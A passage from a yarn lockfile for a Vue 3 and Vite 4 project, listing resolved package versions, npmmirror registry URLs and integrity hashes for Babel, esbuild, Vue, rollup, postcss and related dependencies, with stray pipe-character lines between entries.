||||||
|
version "7.28.0"
|
||||||
|
resolved "https://registry.npmmirror.com/@babel/types/-/types-7.28.0.tgz#2fd0159a6dc7353933920c43136335a9b264d950"
|
||||||
|
integrity sha512-jYnje+JyZG5YThjHiF28oT4SIZLnYOcSBb6+SDaFIyzDVSkXQmQQYclJ2R+YxcdmK0AX6x1E5OQNtuh3jHDrUg==
|
||||||
|
dependencies:
|
||||||
|
"@babel/helper-string-parser" "^7.27.1"
|
||||||
|
"@babel/helper-validator-identifier" "^7.27.1"
|
||||||
|
|
||||||
|
"@esbuild/android-arm64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.18.20.tgz#984b4f9c8d0377443cc2dfcef266d02244593622"
|
||||||
|
integrity sha512-Nz4rJcchGDtENV0eMKUNa6L12zz2zBDXuhj/Vjh18zGqB44Bi7MBMSXjgunJgjRhCmKOjnPuZp4Mb6OKqtMHLQ==
|
||||||
|
|
||||||
|
"@esbuild/android-arm@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.18.20.tgz#fedb265bc3a589c84cc11f810804f234947c3682"
|
||||||
|
integrity sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw==
|
||||||
|
|
||||||
|
"@esbuild/android-x64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.18.20.tgz#35cf419c4cfc8babe8893d296cd990e9e9f756f2"
|
||||||
|
integrity sha512-8GDdlePJA8D6zlZYJV/jnrRAi6rOiNaCC/JclcXpB+KIuvfBN4owLtgzY2bsxnx666XjJx2kDPUmnTtR8qKQUg==
|
||||||
|
|
||||||
|
"@esbuild/darwin-arm64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.18.20.tgz#08172cbeccf95fbc383399a7f39cfbddaeb0d7c1"
|
||||||
|
integrity sha512-bxRHW5kHU38zS2lPTPOyuyTm+S+eobPUnTNkdJEfAddYgEcll4xkT8DB9d2008DtTbl7uJag2HuE5NZAZgnNEA==
|
||||||
|
|
||||||
|
"@esbuild/darwin-x64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.18.20.tgz#d70d5790d8bf475556b67d0f8b7c5bdff053d85d"
|
||||||
|
integrity sha512-pc5gxlMDxzm513qPGbCbDukOdsGtKhfxD1zJKXjCCcU7ju50O7MeAZ8c4krSJcOIJGFR+qx21yMMVYwiQvyTyQ==
|
||||||
|
|
||||||
|
"@esbuild/freebsd-arm64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.18.20.tgz#98755cd12707f93f210e2494d6a4b51b96977f54"
|
||||||
|
integrity sha512-yqDQHy4QHevpMAaxhhIwYPMv1NECwOvIpGCZkECn8w2WFHXjEwrBn3CeNIYsibZ/iZEUemj++M26W3cNR5h+Tw==
|
||||||
|
|
||||||
|
"@esbuild/freebsd-x64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.18.20.tgz#c1eb2bff03915f87c29cece4c1a7fa1f423b066e"
|
||||||
|
integrity sha512-tgWRPPuQsd3RmBZwarGVHZQvtzfEBOreNuxEMKFcd5DaDn2PbBxfwLcj4+aenoh7ctXcbXmOQIn8HI6mCSw5MQ==
|
||||||
|
|
||||||
|
"@esbuild/linux-arm64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.18.20.tgz#bad4238bd8f4fc25b5a021280c770ab5fc3a02a0"
|
||||||
|
integrity sha512-2YbscF+UL7SQAVIpnWvYwM+3LskyDmPhe31pE7/aoTMFKKzIc9lLbyGUpmmb8a8AixOL61sQ/mFh3jEjHYFvdA==
|
||||||
|
|
||||||
|
"@esbuild/linux-arm@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.18.20.tgz#3e617c61f33508a27150ee417543c8ab5acc73b0"
|
||||||
|
integrity sha512-/5bHkMWnq1EgKr1V+Ybz3s1hWXok7mDFUMQ4cG10AfW3wL02PSZi5kFpYKrptDsgb2WAJIvRcDm+qIvXf/apvg==
|
||||||
|
|
||||||
|
"@esbuild/linux-ia32@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.18.20.tgz#699391cccba9aee6019b7f9892eb99219f1570a7"
|
||||||
|
integrity sha512-P4etWwq6IsReT0E1KHU40bOnzMHoH73aXp96Fs8TIT6z9Hu8G6+0SHSw9i2isWrD2nbx2qo5yUqACgdfVGx7TA==
|
||||||
|
|
||||||
|
"@esbuild/linux-loong64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.18.20.tgz#e6fccb7aac178dd2ffb9860465ac89d7f23b977d"
|
||||||
|
integrity sha512-nXW8nqBTrOpDLPgPY9uV+/1DjxoQ7DoB2N8eocyq8I9XuqJ7BiAMDMf9n1xZM9TgW0J8zrquIb/A7s3BJv7rjg==
|
||||||
|
|
||||||
|
"@esbuild/linux-mips64el@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.18.20.tgz#eeff3a937de9c2310de30622a957ad1bd9183231"
|
||||||
|
integrity sha512-d5NeaXZcHp8PzYy5VnXV3VSd2D328Zb+9dEq5HE6bw6+N86JVPExrA6O68OPwobntbNJ0pzCpUFZTo3w0GyetQ==
|
||||||
|
|
||||||
|
"@esbuild/linux-ppc64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.18.20.tgz#2f7156bde20b01527993e6881435ad79ba9599fb"
|
||||||
|
integrity sha512-WHPyeScRNcmANnLQkq6AfyXRFr5D6N2sKgkFo2FqguP44Nw2eyDlbTdZwd9GYk98DZG9QItIiTlFLHJHjxP3FA==
|
||||||
|
|
||||||
|
"@esbuild/linux-riscv64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.18.20.tgz#6628389f210123d8b4743045af8caa7d4ddfc7a6"
|
||||||
|
integrity sha512-WSxo6h5ecI5XH34KC7w5veNnKkju3zBRLEQNY7mv5mtBmrP/MjNBCAlsM2u5hDBlS3NGcTQpoBvRzqBcRtpq1A==
|
||||||
|
|
||||||
|
"@esbuild/linux-s390x@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.18.20.tgz#255e81fb289b101026131858ab99fba63dcf0071"
|
||||||
|
integrity sha512-+8231GMs3mAEth6Ja1iK0a1sQ3ohfcpzpRLH8uuc5/KVDFneH6jtAJLFGafpzpMRO6DzJ6AvXKze9LfFMrIHVQ==
|
||||||
|
|
||||||
|
"@esbuild/linux-x64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.18.20.tgz#c7690b3417af318a9b6f96df3031a8865176d338"
|
||||||
|
integrity sha512-UYqiqemphJcNsFEskc73jQ7B9jgwjWrSayxawS6UVFZGWrAAtkzjxSqnoclCXxWtfwLdzU+vTpcNYhpn43uP1w==
|
||||||
|
|
||||||
|
"@esbuild/netbsd-x64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.18.20.tgz#30e8cd8a3dded63975e2df2438ca109601ebe0d1"
|
||||||
|
integrity sha512-iO1c++VP6xUBUmltHZoMtCUdPlnPGdBom6IrO4gyKPFFVBKioIImVooR5I83nTew5UOYrk3gIJhbZh8X44y06A==
|
||||||
|
|
||||||
|
"@esbuild/openbsd-x64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.18.20.tgz#7812af31b205055874c8082ea9cf9ab0da6217ae"
|
||||||
|
integrity sha512-e5e4YSsuQfX4cxcygw/UCPIEP6wbIL+se3sxPdCiMbFLBWu0eiZOJ7WoD+ptCLrmjZBK1Wk7I6D/I3NglUGOxg==
|
||||||
|
|
||||||
|
"@esbuild/sunos-x64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.18.20.tgz#d5c275c3b4e73c9b0ecd38d1ca62c020f887ab9d"
|
||||||
|
integrity sha512-kDbFRFp0YpTQVVrqUd5FTYmWo45zGaXe0X8E1G/LKFC0v8x0vWrhOWSLITcCn63lmZIxfOMXtCfti/RxN/0wnQ==
|
||||||
|
|
||||||
|
"@esbuild/win32-arm64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.18.20.tgz#73bc7f5a9f8a77805f357fab97f290d0e4820ac9"
|
||||||
|
integrity sha512-ddYFR6ItYgoaq4v4JmQQaAI5s7npztfV4Ag6NrhiaW0RrnOXqBkgwZLofVTlq1daVTQNhtI5oieTvkRPfZrePg==
|
||||||
|
|
||||||
|
"@esbuild/win32-ia32@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.18.20.tgz#ec93cbf0ef1085cc12e71e0d661d20569ff42102"
|
||||||
|
integrity sha512-Wv7QBi3ID/rROT08SABTS7eV4hX26sVduqDOTe1MvGMjNd3EjOz4b7zeexIR62GTIEKrfJXKL9LFxTYgkyeu7g==
|
||||||
|
|
||||||
|
"@esbuild/win32-x64@0.18.20":
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.18.20.tgz#786c5f41f043b07afb1af37683d7c33668858f6d"
|
||||||
|
integrity sha512-kTdfRcSiDfQca/y9QIkng02avJ+NCaQvrMejlsB3RRv5sE9rRoeBPISaZpKxHELzRxZyLvNts1P27W3wV+8geQ==
|
||||||
|
|
||||||
|
"@jridgewell/sourcemap-codec@^1.5.0":
|
||||||
|
version "1.5.4"
|
||||||
|
resolved "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.4.tgz#7358043433b2e5da569aa02cbc4c121da3af27d7"
|
||||||
|
integrity sha512-VT2+G1VQs/9oz078bLrYbecdZKs912zQlkelYpuf+SXF+QvZDYJlbx/LSx+meSAwdDFnF8FVXW92AVjjkVmgFw==
|
||||||
|
|
||||||
|
"@vitejs/plugin-vue@^4.0.0":
|
||||||
|
version "4.6.2"
|
||||||
|
resolved "https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-4.6.2.tgz#057d2ded94c4e71b94e9814f92dcd9306317aa46"
|
||||||
|
integrity sha512-kqf7SGFoG+80aZG6Pf+gsZIVvGSCKE98JbiWqcCV9cThtg91Jav0yvYFC9Zb+jKetNGF6ZKeoaxgZfND21fWKw==
|
||||||
|
|
||||||
|
"@vue/compiler-core@3.5.17":
|
||||||
|
version "3.5.17"
|
||||||
|
resolved "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.5.17.tgz#23d291bd01b863da3ef2e26e7db84d8e01a9b4c5"
|
||||||
|
integrity sha512-Xe+AittLbAyV0pabcN7cP7/BenRBNcteM4aSDCtRvGw0d9OL+HG1u/XHLY/kt1q4fyMeZYXyIYrsHuPSiDPosA==
|
||||||
|
dependencies:
|
||||||
|
"@babel/parser" "^7.27.5"
|
||||||
|
"@vue/shared" "3.5.17"
|
||||||
|
entities "^4.5.0"
|
||||||
|
estree-walker "^2.0.2"
|
||||||
|
source-map-js "^1.2.1"
|
||||||
|
|
||||||
|
"@vue/compiler-dom@3.5.17":
|
||||||
|
version "3.5.17"
|
||||||
|
resolved "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.5.17.tgz#7bc19a20e23b670243a64b47ce3a890239b870be"
|
||||||
|
integrity sha512-+2UgfLKoaNLhgfhV5Ihnk6wB4ljyW1/7wUIog2puUqajiC29Lp5R/IKDdkebh9jTbTogTbsgB+OY9cEWzG95JQ==
|
||||||
|
dependencies:
|
||||||
|
"@vue/compiler-core" "3.5.17"
|
||||||
|
"@vue/shared" "3.5.17"
|
||||||
|
|
||||||
|
"@vue/compiler-sfc@3.5.17":
|
||||||
|
version "3.5.17"
|
||||||
|
resolved "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.5.17.tgz#c518871276e26593612bdab36f3f5bcd053b13bf"
|
||||||
|
integrity sha512-rQQxbRJMgTqwRugtjw0cnyQv9cP4/4BxWfTdRBkqsTfLOHWykLzbOc3C4GGzAmdMDxhzU/1Ija5bTjMVrddqww==
|
||||||
|
dependencies:
|
||||||
|
"@babel/parser" "^7.27.5"
|
||||||
|
"@vue/compiler-core" "3.5.17"
|
||||||
|
"@vue/compiler-dom" "3.5.17"
|
||||||
|
"@vue/compiler-ssr" "3.5.17"
|
||||||
|
"@vue/shared" "3.5.17"
|
||||||
|
estree-walker "^2.0.2"
|
||||||
|
magic-string "^0.30.17"
|
||||||
|
postcss "^8.5.6"
|
||||||
|
source-map-js "^1.2.1"
|
||||||
|
|
||||||
|
"@vue/compiler-ssr@3.5.17":
|
||||||
|
version "3.5.17"
|
||||||
|
resolved "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.5.17.tgz#14ba3b7bba6e0e1fd02002316263165a5d1046c7"
|
||||||
|
integrity sha512-hkDbA0Q20ZzGgpj5uZjb9rBzQtIHLS78mMilwrlpWk2Ep37DYntUz0PonQ6kr113vfOEdM+zTBuJDaceNIW0tQ==
|
||||||
|
dependencies:
|
||||||
|
"@vue/compiler-dom" "3.5.17"
|
||||||
|
"@vue/shared" "3.5.17"
|
||||||
|
|
||||||
|
"@vue/devtools-api@^6.6.4":
|
||||||
|
version "6.6.4"
|
||||||
|
resolved "https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-6.6.4.tgz#cbe97fe0162b365edc1dba80e173f90492535343"
|
||||||
|
integrity sha512-sGhTPMuXqZ1rVOk32RylztWkfXTRhuS7vgAKv0zjqk8gbsHkJ7xfFf+jbySxt7tWObEJwyKaHMikV/WGDiQm8g==
|
||||||
|
|
||||||
|
"@vue/reactivity@3.5.17":
|
||||||
|
version "3.5.17"
|
||||||
|
resolved "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.5.17.tgz#169b5dcf96c7f23788e5ed9745ec8a7227f2125e"
|
||||||
|
integrity sha512-l/rmw2STIscWi7SNJp708FK4Kofs97zc/5aEPQh4bOsReD/8ICuBcEmS7KGwDj5ODQLYWVN2lNibKJL1z5b+Lw==
|
||||||
|
dependencies:
|
||||||
|
"@vue/shared" "3.5.17"
|
||||||
|
|
||||||
|
"@vue/runtime-core@3.5.17":
|
||||||
|
version "3.5.17"
|
||||||
|
resolved "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.5.17.tgz#b17bd41e13011e85e9b1025545292d43f5512730"
|
||||||
|
integrity sha512-QQLXa20dHg1R0ri4bjKeGFKEkJA7MMBxrKo2G+gJikmumRS7PTD4BOU9FKrDQWMKowz7frJJGqBffYMgQYS96Q==
|
||||||
|
dependencies:
|
||||||
|
"@vue/reactivity" "3.5.17"
|
||||||
|
"@vue/shared" "3.5.17"
|
||||||
|
|
||||||
|
"@vue/runtime-dom@3.5.17":
|
||||||
|
version "3.5.17"
|
||||||
|
resolved "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.5.17.tgz#8e325e29cd03097fe179032fc8df384a426fc83a"
|
||||||
|
integrity sha512-8El0M60TcwZ1QMz4/os2MdlQECgGoVHPuLnQBU3m9h3gdNRW9xRmI8iLS4t/22OQlOE6aJvNNlBiCzPHur4H9g==
|
||||||
|
dependencies:
|
||||||
|
"@vue/reactivity" "3.5.17"
|
||||||
|
"@vue/runtime-core" "3.5.17"
|
||||||
|
"@vue/shared" "3.5.17"
|
||||||
|
csstype "^3.1.3"
|
||||||
|
|
||||||
|
"@vue/server-renderer@3.5.17":
|
||||||
|
version "3.5.17"
|
||||||
|
resolved "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.5.17.tgz#9b8fd6a40a3d55322509fafe78ac841ede649fbe"
|
||||||
|
integrity sha512-BOHhm8HalujY6lmC3DbqF6uXN/K00uWiEeF22LfEsm9Q93XeJ/plHTepGwf6tqFcF7GA5oGSSAAUock3VvzaCA==
|
||||||
|
dependencies:
|
||||||
|
"@vue/compiler-ssr" "3.5.17"
|
||||||
|
"@vue/shared" "3.5.17"
|
||||||
|
|
||||||
|
"@vue/shared@3.5.17":
|
||||||
|
version "3.5.17"
|
||||||
|
resolved "https://registry.npmmirror.com/@vue/shared/-/shared-3.5.17.tgz#e8b3a41f0be76499882a89e8ed40d86a70fa4b70"
|
||||||
|
integrity sha512-CabR+UN630VnsJO/jHWYBC1YVXyMq94KKp6iF5MQgZJs5I8cmjw6oVMO1oDbtBkENSHSSn/UadWlW/OAgdmKrg==
|
||||||
|
|
||||||
|
csstype@^3.1.3:
|
||||||
|
version "3.1.3"
|
||||||
|
resolved "https://registry.npmmirror.com/csstype/-/csstype-3.1.3.tgz#d80ff294d114fb0e6ac500fbf85b60137d7eff81"
|
||||||
|
integrity sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==
|
||||||
|
|
||||||
|
entities@^4.5.0:
|
||||||
|
version "4.5.0"
|
||||||
|
resolved "https://registry.npmmirror.com/entities/-/entities-4.5.0.tgz#5d268ea5e7113ec74c4d033b79ea5a35a488fb48"
|
||||||
|
integrity sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==
|
||||||
|
|
||||||
|
esbuild@^0.18.10:
|
||||||
|
version "0.18.20"
|
||||||
|
resolved "https://registry.npmmirror.com/esbuild/-/esbuild-0.18.20.tgz#4709f5a34801b43b799ab7d6d82f7284a9b7a7a6"
|
||||||
|
integrity sha512-ceqxoedUrcayh7Y7ZX6NdbbDzGROiyVBgC4PriJThBKSVPWnnFHZAkfI1lJT8QFkOwH4qOS2SJkS4wvpGl8BpA==
|
||||||
|
optionalDependencies:
|
||||||
|
"@esbuild/android-arm" "0.18.20"
|
||||||
|
"@esbuild/android-arm64" "0.18.20"
|
||||||
|
"@esbuild/android-x64" "0.18.20"
|
||||||
|
"@esbuild/darwin-arm64" "0.18.20"
|
||||||
|
"@esbuild/darwin-x64" "0.18.20"
|
||||||
|
"@esbuild/freebsd-arm64" "0.18.20"
|
||||||
|
"@esbuild/freebsd-x64" "0.18.20"
|
||||||
|
"@esbuild/linux-arm" "0.18.20"
|
||||||
|
"@esbuild/linux-arm64" "0.18.20"
|
||||||
|
"@esbuild/linux-ia32" "0.18.20"
|
||||||
|
"@esbuild/linux-loong64" "0.18.20"
|
||||||
|
"@esbuild/linux-mips64el" "0.18.20"
|
||||||
|
"@esbuild/linux-ppc64" "0.18.20"
|
||||||
|
"@esbuild/linux-riscv64" "0.18.20"
|
||||||
|
"@esbuild/linux-s390x" "0.18.20"
|
||||||
|
"@esbuild/linux-x64" "0.18.20"
|
||||||
|
"@esbuild/netbsd-x64" "0.18.20"
|
||||||
|
"@esbuild/openbsd-x64" "0.18.20"
|
||||||
|
"@esbuild/sunos-x64" "0.18.20"
|
||||||
|
"@esbuild/win32-arm64" "0.18.20"
|
||||||
|
"@esbuild/win32-ia32" "0.18.20"
|
||||||
|
"@esbuild/win32-x64" "0.18.20"
|
||||||
|
|
||||||
|
estree-walker@^2.0.2:
|
||||||
|
version "2.0.2"
|
||||||
|
resolved "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz#52f010178c2a4c117a7757cfe942adb7d2da4cac"
|
||||||
|
integrity sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==
|
||||||
|
|
||||||
|
fsevents@~2.3.2:
|
||||||
|
version "2.3.3"
|
||||||
|
resolved "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz#cac6407785d03675a2a5e1a5305c697b347d90d6"
|
||||||
|
integrity sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==
|
||||||
|
|
||||||
|
magic-string@^0.30.17:
|
||||||
|
version "0.30.17"
|
||||||
|
resolved "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.17.tgz#450a449673d2460e5bbcfba9a61916a1714c7453"
|
||||||
|
integrity sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA==
|
||||||
|
dependencies:
|
||||||
|
"@jridgewell/sourcemap-codec" "^1.5.0"
|
||||||
|
|
||||||
|
nanoid@^3.3.11:
|
||||||
|
version "3.3.11"
|
||||||
|
resolved "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.11.tgz#4f4f112cefbe303202f2199838128936266d185b"
|
||||||
|
integrity sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==
|
||||||
|
|
||||||
|
picocolors@^1.1.1:
|
||||||
|
version "1.1.1"
|
||||||
|
resolved "https://registry.npmmirror.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
|
||||||
|
integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
|
||||||
|
|
||||||
|
postcss@^8.4.27, postcss@^8.5.6:
|
||||||
|
version "8.5.6"
|
||||||
|
resolved "https://registry.npmmirror.com/postcss/-/postcss-8.5.6.tgz#2825006615a619b4f62a9e7426cc120b349a8f3c"
|
||||||
|
integrity sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==
|
||||||
|
dependencies:
|
||||||
|
nanoid "^3.3.11"
|
||||||
|
picocolors "^1.1.1"
|
||||||
|
source-map-js "^1.2.1"
|
||||||
|
|
||||||
|
rollup@^3.27.1:
|
||||||
|
version "3.29.5"
|
||||||
|
resolved "https://registry.npmmirror.com/rollup/-/rollup-3.29.5.tgz#8a2e477a758b520fb78daf04bca4c522c1da8a54"
|
||||||
|
integrity sha512-GVsDdsbJzzy4S/v3dqWPJ7EfvZJfCHiDqe80IyrF59LYuP+e6U1LJoUqeuqRbwAWoMNoXivMNeNAOf5E22VA1w==
|
||||||
|
optionalDependencies:
|
||||||
|
fsevents "~2.3.2"
|
||||||
|
|
||||||
|
source-map-js@^1.2.1:
|
||||||
|
version "1.2.1"
|
||||||
|
resolved "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz#1ce5650fddd87abc099eda37dcff024c2667ae46"
|
||||||
|
integrity sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==
|
||||||
|
|
||||||
|
vite@^4.0.0:
|
||||||
|
version "4.5.14"
|
||||||
|
resolved "https://registry.npmmirror.com/vite/-/vite-4.5.14.tgz#2e652bc1d898265d987d6543ce866ecd65fa4086"
|
||||||
|
integrity sha512-+v57oAaoYNnO3hIu5Z/tJRZjq5aHM2zDve9YZ8HngVHbhk66RStobhb1sqPMIPEleV6cNKYK4eGrAbE9Ulbl2g==
|
||||||
|
dependencies:
|
||||||
|
esbuild "^0.18.10"
|
||||||
|
postcss "^8.4.27"
|
||||||
|
rollup "^3.27.1"
|
||||||
|
optionalDependencies:
|
||||||
|
fsevents "~2.3.2"
|
||||||
|
|
||||||
|
vue-router@^4.5.1:
|
||||||
|
version "4.5.1"
|
||||||
|
resolved "https://registry.npmmirror.com/vue-router/-/vue-router-4.5.1.tgz#47bffe2d3a5479d2886a9a244547a853aa0abf69"
|
||||||
|
integrity sha512-ogAF3P97NPm8fJsE4by9dwSYtDwXIY1nFY9T6DyQnGHd1E2Da94w9JIolpe42LJGIl0DwOHBi8TcRPlPGwbTtw==
|
||||||
|
dependencies:
|
||||||
|
"@vue/devtools-api" "^6.6.4"
|
||||||
|
|
||||||
|
vue@^3.3.0:
|
||||||
|
version "3.5.17"
|
||||||
|
resolved "https://registry.npmmirror.com/vue/-/vue-3.5.17.tgz#ea8a6a45abb2b0620e7d479319ce8434b55650cf"
|
||||||
|
integrity sha512-LbHV3xPN9BeljML+Xctq4lbz2lVHCR6DtbpTf5XIO6gugpXUN49j2QQPcMj086r9+AkJ0FfUT8xjulKKBkkr9g==
|
||||||
|
dependencies:
|
||||||
|
"@vue/compiler-dom" "3.5.17"
|
||||||
|
"@vue/compiler-sfc" "3.5.17"
|
||||||
|
"@vue/runtime-dom" "3.5.17"
|
||||||
|
"@vue/server-renderer" "3.5.17"
|
||||||
|
"@vue/shared" "3.5.17"
|
||||||